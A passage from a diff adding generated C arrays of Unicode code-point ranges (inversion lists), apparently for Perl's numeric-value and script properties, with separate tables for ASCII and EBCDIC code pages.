+	0xAA5A,
+	0xABF9,
+	0xABFA,
+	0xFF19,
+	0xFF1A,
+	0x1010F,
+	0x10110,
+	0x102E9,
+	0x102EA,
+	0x104A9,
+	0x104AA,
+	0x109C8,
+	0x109C9,
+	0x10E68,
+	0x10E69,
+	0x1105A,
+	0x1105B,
+	0x1106F,
+	0x11070,
+	0x110F9,
+	0x110FA,
+	0x1113F,
+	0x11140,
+	0x111D9,
+	0x111DA,
+	0x111E9,
+	0x111EA,
+	0x112F9,
+	0x112FA,
+	0x11459,
+	0x1145A,
+	0x114D9,
+	0x114DA,
+	0x11659,
+	0x1165A,
+	0x116C9,
+	0x116CA,
+	0x11739,
+	0x1173A,
+	0x118E9,
+	0x118EA,
+	0x11C59,
+	0x11C5A,
+	0x11C62,
+	0x11C63,
+	0x11D59,
+	0x11D5A,
+	0x12407,
+	0x12408,
+	0x1240E,
+	0x1240F,
+	0x12414,
+	0x12415,
+	0x1241D,
+	0x1241E,
+	0x1242B,
+	0x1242C,
+	0x12446,
+	0x1244A,
+	0x1246E,
+	0x1246F,
+	0x16A69,
+	0x16A6A,
+	0x16B59,
+	0x16B5A,
+	0x1D368,
+	0x1D369,
+	0x1D7D7,
+	0x1D7D8,
+	0x1D7E1,
+	0x1D7E2,
+	0x1D7EB,
+	0x1D7EC,
+	0x1D7F5,
+	0x1D7F6,
+	0x1D7FF,
+	0x1D800,
+	0x1E8CF,
+	0x1E8D0,
+	0x1E959,
+	0x1E95A,
+	0x1F10A,
+	0x1F10B,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__9_invlist[] = { /* for EBCDIC 037 */
+	195,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF9,
+	0xFA,
+	0x669,
+	0x66A,
+	0x6F9,
+	0x6FA,
+	0x7C9,
+	0x7CA,
+	0x96F,
+	0x970,
+	0x9EF,
+	0x9F0,
+	0xA6F,
+	0xA70,
+	0xAEF,
+	0xAF0,
+	0xB6F,
+	0xB70,
+	0xBEF,
+	0xBF0,
+	0xC6F,
+	0xC70,
+	0xCEF,
+	0xCF0,
+	0xD6F,
+	0xD70,
+	0xDEF,
+	0xDF0,
+	0xE59,
+	0xE5A,
+	0xED9,
+	0xEDA,
+	0xF29,
+	0xF2A,
+	0x1049,
+	0x104A,
+	0x1099,
+	0x109A,
+	0x1371,
+	0x1372,
+	0x17E9,
+	0x17EA,
+	0x17F9,
+	0x17FA,
+	0x1819,
+	0x181A,
+	0x194F,
+	0x1950,
+	0x19D9,
+	0x19DA,
+	0x1A89,
+	0x1A8A,
+	0x1A99,
+	0x1A9A,
+	0x1B59,
+	0x1B5A,
+	0x1BB9,
+	0x1BBA,
+	0x1C49,
+	0x1C4A,
+	0x1C59,
+	0x1C5A,
+	0x2079,
+	0x207A,
+	0x2089,
+	0x208A,
+	0x2168,
+	0x2169,
+	0x2178,
+	0x2179,
+	0x2468,
+	0x2469,
+	0x247C,
+	0x247D,
+	0x2490,
+	0x2491,
+	0x24FD,
+	0x24FE,
+	0x277E,
+	0x277F,
+	0x2788,
+	0x2789,
+	0x2792,
+	0x2793,
+	0x3029,
+	0x302A,
+	0x3228,
+	0x3229,
+	0x3288,
+	0x3289,
+	0x4E5D,
+	0x4E5E,
+	0x5EFE,
+	0x5EFF,
+	0x7396,
+	0x7397,
+	0xA629,
+	0xA62A,
+	0xA6EE,
+	0xA6EF,
+	0xA8D9,
+	0xA8DA,
+	0xA909,
+	0xA90A,
+	0xA9D9,
+	0xA9DA,
+	0xA9F9,
+	0xA9FA,
+	0xAA59,
+	0xAA5A,
+	0xABF9,
+	0xABFA,
+	0xFF19,
+	0xFF1A,
+	0x1010F,
+	0x10110,
+	0x102E9,
+	0x102EA,
+	0x104A9,
+	0x104AA,
+	0x109C8,
+	0x109C9,
+	0x10E68,
+	0x10E69,
+	0x1105A,
+	0x1105B,
+	0x1106F,
+	0x11070,
+	0x110F9,
+	0x110FA,
+	0x1113F,
+	0x11140,
+	0x111D9,
+	0x111DA,
+	0x111E9,
+	0x111EA,
+	0x112F9,
+	0x112FA,
+	0x11459,
+	0x1145A,
+	0x114D9,
+	0x114DA,
+	0x11659,
+	0x1165A,
+	0x116C9,
+	0x116CA,
+	0x11739,
+	0x1173A,
+	0x118E9,
+	0x118EA,
+	0x11C59,
+	0x11C5A,
+	0x11C62,
+	0x11C63,
+	0x11D59,
+	0x11D5A,
+	0x12407,
+	0x12408,
+	0x1240E,
+	0x1240F,
+	0x12414,
+	0x12415,
+	0x1241D,
+	0x1241E,
+	0x1242B,
+	0x1242C,
+	0x12446,
+	0x1244A,
+	0x1246E,
+	0x1246F,
+	0x16A69,
+	0x16A6A,
+	0x16B59,
+	0x16B5A,
+	0x1D368,
+	0x1D369,
+	0x1D7D7,
+	0x1D7D8,
+	0x1D7E1,
+	0x1D7E2,
+	0x1D7EB,
+	0x1D7EC,
+	0x1D7F5,
+	0x1D7F6,
+	0x1D7FF,
+	0x1D800,
+	0x1E8CF,
+	0x1E8D0,
+	0x1E959,
+	0x1E95A,
+	0x1F10A,
+	0x1F10B,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_NV__9_SLASH_2_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF2E,
+	0xF2F
+};
+
+static const UV PL_NV__90_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x137A,
+	0x137B,
+	0x10118,
+	0x10119,
+	0x102F2,
+	0x102F3,
+	0x10341,
+	0x10342,
+	0x10E71,
+	0x10E72,
+	0x11063,
+	0x11064,
+	0x111F2,
+	0x111F3,
+	0x118F2,
+	0x118F3,
+	0x11C6B,
+	0x11C6C,
+	0x1D371,
+	0x1D372
+};
+
+static const UV PL_NV__900_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10121,
+	0x10122,
+	0x102FB,
+	0x102FC,
+	0x1034A,
+	0x1034B,
+	0x109DA,
+	0x109DB,
+	0x10E7A,
+	0x10E7B
+};
+
+static const UV PL_NV__9000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1012A,
+	0x1012B,
+	0x109E3,
+	0x109E4
+};
+
+static const UV PL_NV__90000_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10133,
+	0x10134,
+	0x109EC,
+	0x109ED
+};
+
+static const UV PL_NV__900000_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x109F5,
+	0x109F6
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NV__NAN_invlist[] = { /* for ASCII/Latin1 */
+	377,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBA,
+	0xBC,
+	0xBF,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__NAN_invlist[] = { /* for EBCDIC 1047 */
+	377,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NV__NAN_invlist[] = { /* for EBCDIC 037 */
+	377,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB7,
+	0xBA,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0x9F4,
+	0x9FA,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xB72,
+	0xB78,
+	0xBE6,
+	0xBF3,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC7F,
+	0xCE6,
+	0xCF0,
+	0xD58,
+	0xD5F,
+	0xD66,
+	0xD79,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x1369,
+	0x137D,
+	0x16EE,
+	0x16F1,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DB,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2150,
+	0x2183,
+	0x2185,
+	0x218A,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2CFD,
+	0x2CFE,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303B,
+	0x3192,
+	0x3196,
+	0x3220,
+	0x322A,
+	0x3248,
+	0x3250,
+	0x3251,
+	0x3260,
+	0x3280,
+	0x328A,
+	0x32B1,
+	0x32C0,
+	0x3405,
+	0x3406,
+	0x3483,
+	0x3484,
+	0x382A,
+	0x382B,
+	0x3B4D,
+	0x3B4E,
+	0x4E00,
+	0x4E01,
+	0x4E03,
+	0x4E04,
+	0x4E07,
+	0x4E08,
+	0x4E09,
+	0x4E0A,
+	0x4E5D,
+	0x4E5E,
+	0x4E8C,
+	0x4E8D,
+	0x4E94,
+	0x4E95,
+	0x4E96,
+	0x4E97,
+	0x4EBF,
+	0x4EC1,
+	0x4EDF,
+	0x4EE0,
+	0x4EE8,
+	0x4EE9,
+	0x4F0D,
+	0x4F0E,
+	0x4F70,
+	0x4F71,
+	0x5104,
+	0x5105,
+	0x5146,
+	0x5147,
+	0x5169,
+	0x516A,
+	0x516B,
+	0x516C,
+	0x516D,
+	0x516E,
+	0x5341,
+	0x5342,
+	0x5343,
+	0x5346,
+	0x534C,
+	0x534D,
+	0x53C1,
+	0x53C5,
+	0x56DB,
+	0x56DC,
+	0x58F1,
+	0x58F2,
+	0x58F9,
+	0x58FA,
+	0x5E7A,
+	0x5E7B,
+	0x5EFE,
+	0x5F00,
+	0x5F0C,
+	0x5F0F,
+	0x5F10,
+	0x5F11,
+	0x62FE,
+	0x62FF,
+	0x634C,
+	0x634D,
+	0x67D2,
+	0x67D3,
+	0x6F06,
+	0x6F07,
+	0x7396,
+	0x7397,
+	0x767E,
+	0x767F,
+	0x8086,
+	0x8087,
+	0x842C,
+	0x842D,
+	0x8CAE,
+	0x8CAF,
+	0x8CB3,
+	0x8CB4,
+	0x8D30,
+	0x8D31,
+	0x9621,
+	0x9622,
+	0x9646,
+	0x9647,
+	0x964C,
+	0x964D,
+	0x9678,
+	0x9679,
+	0x96F6,
+	0x96F7,
+	0xA620,
+	0xA62A,
+	0xA6E6,
+	0xA6F0,
+	0xA830,
+	0xA836,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xF96B,
+	0xF96C,
+	0xF973,
+	0xF974,
+	0xF978,
+	0xF979,
+	0xF9B2,
+	0xF9B3,
+	0xF9D1,
+	0xF9D2,
+	0xF9D3,
+	0xF9D4,
+	0xF9FD,
+	0xF9FE,
+	0xFF10,
+	0xFF1A,
+	0x10107,
+	0x10134,
+	0x10140,
+	0x10179,
+	0x1018A,
+	0x1018C,
+	0x102E1,
+	0x102FC,
+	0x10320,
+	0x10324,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x1034B,
+	0x103D1,
+	0x103D6,
+	0x104A0,
+	0x104AA,
+	0x10858,
+	0x10860,
+	0x10879,
+	0x10880,
+	0x108A7,
+	0x108B0,
+	0x108FB,
+	0x10900,
+	0x10916,
+	0x1091C,
+	0x109BC,
+	0x109BE,
+	0x109C0,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A40,
+	0x10A48,
+	0x10A7D,
+	0x10A7F,
+	0x10A9D,
+	0x10AA0,
+	0x10AEB,
+	0x10AF0,
+	0x10B58,
+	0x10B60,
+	0x10B78,
+	0x10B80,
+	0x10BA9,
+	0x10BB0,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11052,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x118E0,
+	0x118F3,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A,
+	0x12400,
+	0x1246F,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x1D360,
+	0x1D372,
+	0x1D7CE,
+	0x1D800,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E950,
+	0x1E95A,
+	0x1F100,
+	0x1F10D,
+	0x20001,
+	0x20002,
+	0x20064,
+	0x20065,
+	0x200E2,
+	0x200E3,
+	0x20121,
+	0x20122,
+	0x2092A,
+	0x2092B,
+	0x20983,
+	0x20984,
+	0x2098C,
+	0x2098D,
+	0x2099C,
+	0x2099D,
+	0x20AEA,
+	0x20AEB,
+	0x20AFD,
+	0x20AFE,
+	0x20B19,
+	0x20B1A,
+	0x22390,
+	0x22391,
+	0x22998,
+	0x22999,
+	0x23B1B,
+	0x23B1C,
+	0x2626D,
+	0x2626E,
+	0x2F890,
+	0x2F891
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_OCR_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2440,
+	0x2460
+};
+
+static const UV PL_OGAM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1680,
+	0x169D
+};
+
+static const UV PL_OLCK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1C50,
+	0x1C80
+};
+
+static const UV PL_ORKH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
